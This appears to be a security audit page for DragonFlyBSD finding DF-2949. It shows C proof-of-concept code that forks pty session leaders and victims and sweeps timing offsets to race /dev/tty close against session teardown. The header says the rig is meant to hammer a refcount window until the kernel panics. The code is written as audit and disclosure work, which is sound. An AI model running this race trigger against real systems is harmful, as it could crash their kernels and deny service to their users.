DragonFlyBSD Kernel Audit
DF-2949 / ctty_race_sweep.c
← back to finding ↓ download raw
/*
 * DF-2949 PoC v3 — fine-grained alignment sweep.
 * Victim spins to GO+delta then closes its /dev/tty fd, measuring the
 * close duration: a close that blocks inside vn_lock (tty_tty.c:160)
 * through the leader's ttyclosesession teardown takes >>100us and pairs
 * with "Warning: cttyclose: race avoided" (tty_tty.c:167).  Once the
 * overlap delta is found, this same rig hammers the [155..159] vref
 * window for the vref: bad refcnt panic.
 */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <signal.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/time.h>

static int gopipe[2];
static long delta_us = 400;

static void leader(void);
static void victim(int id);

static double
now(void)
{
	struct timeval tv;
	gettimeofday(&tv, NULL);
	return (tv.tv_sec + tv.tv_usec / 1e6);
}

static void
leader(void)
{
	char sname[128];

	if (setsid() < 0) { perror("L setsid"); _exit(1); }
	int m = posix_openpt(O_RDWR | O_NOCTTY);
	if (m < 0) { perror("L pt"); _exit(1); }
	char *s = ptsname(m);
	if (s == NULL) _exit(1);
	snprintf(sname, sizeof(sname), "%s", s);
	int sl = open(sname, O_RDWR | O_NOCTTY);
	if (sl < 0) _exit(1);
	if (ioctl(sl, TIOCSCTTY, 0) < 0) { perror("L TIOCSCTTY"); _exit(1); }
	for (int v = 0; v < 2; v++) {
		pid_t p = fork();
		if (p == 0)
			victim(v);
	}
	char c;
	read(gopipe[0], &c, 1);
	_exit(0);
}

static void
victim(int id)
{
	char c;
	int fd;
	double tgo, t0, t1, dur;
	char buf[160];
	int n, df;

	signal(SIGHUP, SIG_IGN);
	fd = open("/dev/tty", O_RDWR);
	read(gopipe[0], &c, 1);
	tgo = now();
	/* spin to GO + delta (id interleaves two deltas per iteration) */
	double target = tgo + (delta_us + id * 40) * 1e-6;
	while (now() < target)
		;
	t0 = now();
	if (fd >= 0)
		close(fd);
	t1 = now();
	dur = (t1 - t0) * 1e6;
	n = snprintf(buf, sizeof(buf), "V%d d=%.6f dur=%.1f fd=%d\n",
		     id, t0 - tgo, dur, fd);
	df = open("/tmp/diag.log", O_WRONLY | O_APPEND | O_CREAT, 0644);
	if (df >= 0) { write(df, buf, n); close(df); }
	_exit(0);
}

int
main(int argc, char **argv)
{
	long iters = (argc > 1) ? atol(argv[1]) : 400;
	long k;
	double d0 = (argc > 2) ? atof(argv[2]) : 100;
	double d1 = (argc > 3) ? atof(argv[3]) : 900;

	pipe(gopipe);
	unlink("/tmp/diag.log");
	for (k = 0; k < iters; k++) {
		/* sweep delta across the leader's exit window */
		delta_us = d0 + (d1 - d0) * k / iters;
		pid_t l = fork();
		if (l == 0)
			leader();
		write(gopipe[1], "ggg", 3);
		int st;
		waitpid(l, &st, 0);
		if ((k % 200) == 0) { fprintf(stderr, "iter %ld d=%ld\n", k, delta_us); fflush(stderr); }
	}
	system("awk '{print $3}' /tmp/diag.log | sort -t= -k2 -n | tail -5");
	system("grep -c fd=7 /tmp/diag.log");
	return (0);
}